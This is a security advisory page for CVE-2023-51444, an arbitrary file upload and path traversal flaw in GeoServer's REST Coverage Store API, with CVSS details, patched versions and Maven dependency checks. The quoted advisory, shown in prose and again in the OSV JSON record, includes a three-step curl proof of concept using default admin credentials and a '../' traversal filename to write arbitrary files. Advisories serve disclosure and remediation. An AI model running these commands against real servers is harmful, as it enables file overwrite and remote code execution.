Vulnerabilities in pkg:maven/org.geoserver/gs-platform

PACKAGE
Advisory Identifier: GHSA-9v5q-2gwq-q9hq
Advisory Summary

CVE-2023-51444 is a HIGH (CVSS 7.2) arbitrary file upload vulnerability vulnerability (CWE-20: Improper Input Validation) affecting Gs platform libraries in the Maven ecosystem. The issue involves arbitrary file upload vulnerability in geoserver's rest coverage store api. Remediation is available by upgrading affected packages to version 2.23.4, 2.24.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.geoserver/gs-platform

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.geoserver/gs-platform. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-9v5q-2gwq-q9hq CVE-2023-51444 HIGH Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API

CVE-2023-51444 at a Glance

CVE Identifier CVE-2023-51444
GHSA Identifier GHSA-9v5q-2gwq-q9hq
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-20: Improper Input Validation
Affected Product Gs platform
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-51444

To remediate this vulnerability, upgrade all affected Gs platform dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.geoserver:gs-platform fixed: 2.23.4
<dependency>
    <groupId>org.geoserver</groupId>
    <artifactId>gs-platform</artifactId>
    <version>2.23.4</version>
</dependency>
org.geoserver:gs-restconfig fixed: 2.23.4
<dependency>
    <groupId>org.geoserver</groupId>
    <artifactId>gs-restconfig</artifactId>
    <version>2.23.4</version>
</dependency>
org.geoserver:gs-platform fixed: 2.24.1
<dependency>
    <groupId>org.geoserver</groupId>
    <artifactId>gs-platform</artifactId>
    <version>2.24.1</version>
</dependency>
org.geoserver:gs-restconfig fixed: 2.24.1
<dependency>
    <groupId>org.geoserver</groupId>
    <artifactId>gs-restconfig</artifactId>
    <version>2.24.1</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.geoserver

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2023-51444, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.geoserver

Analyze the terminal output to locate any version of Gs platform in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.23.4), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.geoserver command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Gs platform, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution. ### Details Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal. ### PoC Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory). ### Impact This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges. ### References https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222

CVE-2023-51444 Affected Gs platform Versions

4 component(s)
Fixed Versions:
2.23.42.24.1
Product / Package Ecosystem Affected Versions Fixed Version
org.geoserver:gs-platform
Maven
< 2.23.4
2.23.4
org.geoserver:gs-restconfig
Maven
< 2.23.4
2.23.4
org.geoserver:gs-platform
Maven
≥ 2.24.0
< 2.24.1
All 1 versions
2.24.0
2.24.1
org.geoserver:gs-restconfig
Maven
≥ 2.24.0
< 2.24.1
All 1 versions
2.24.0
2.24.1

References

Frequently Asked Questions

What is CVE-2023-51444?
CVE-2023-51444 is a security vulnerability in Gs platform involving Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API under CWE-20: Improper Input Validation.
Which Gs platform versions are affected?
Affected versions include releases prior to 2.23.4, 2.24.1 across affected packages: org.geoserver:gs-platform, org.geoserver:gs-restconfig.
What version fixes CVE-2023-51444?
Upgrading to 2.23.4, 2.24.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gs-platform affected?
Yes, org.geoserver:gs-platform is affected in releases prior to 2.23.4, 2.24.1. Upgrade your dependency to 2.23.4, 2.24.1 or later.
Is gs-restconfig affected?
Yes, org.geoserver:gs-restconfig is affected in releases prior to 2.23.4, 2.24.1. Upgrade your dependency to 2.23.4, 2.24.1 or later.
What is the CVSS score of CVE-2023-51444?
CVE-2023-51444 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-51444?
CVE-2023-51444 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Maven dependencies for CVE-2023-51444?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.geoserver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9v5q-2gwq-q9hq",
  "modified" : "2024-03-20T15:43:58Z",
  "published" : "2024-03-20T14:54:59Z",
  "aliases" : [ "CVE-2023-51444" ],
  "summary" : "Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API",
  "details" : "### Summary\nAn arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.\n\n### Details\nCoverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.\n\n### PoC\nStep 1 (create sample coverage store):\ncurl -vXPUT -H\"Content-type:application/zip\" -u\"admin:geoserver\" --data-binary @polyphemus.zip \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic\"\nStep 2 (switch store to absolute URL):\ncurl -vXPUT -H\"Content-Type:application/xml\" -u\"admin:geoserver\" -d\"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>\" \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite\"\nStep 3 (upload arbitrary files):\ncurl -vH\"Content-Type:\" -u\"admin:geoserver\" --data-binary @file/to/upload \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write\"\nSteps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).\n\n### Impact\nThis vulnerability can lead to executing arbitrary code.  An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.\n\n### References\nhttps://osgeo-org.atlassian.net/browse/GEOS-11176\nhttps://github.com/geoserver/geoserver/pull/7222\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.geoserver:gs-platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.23.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.geoserver:gs-restconfig"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.23.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.geoserver:gs-platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.24.0"
      }, {
        "fixed" : "2.24.1"
      } ]
    } ],
    "versions" : [ "2.24.0" ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.geoserver:gs-restconfig"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.24.0"
      }, {
        "fixed" : "2.24.1"
      } ]
    } ],
    "versions" : [ "2.24.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/geoserver/geoserver/security/advisories/GHSA-9v5q-2gwq-q9hq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-51444"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/geoserver/geoserver/pull/7222"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/geoserver/geoserver/commit/ca683170c669718cb6ad4c79e01b0451065e13b8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/geoserver/geoserver/commit/fe235b3bb1d7f05751a4a2ef5390c36f5c9e78ae"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/geoserver/geoserver"
  }, {
    "type" : "WEB",
    "url" : "https://osgeo-org.atlassian.net/browse/GEOS-11176"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-20T14:54:59Z",
    "nvd_published_at" : "2024-03-20T15:15:07Z"
  }
}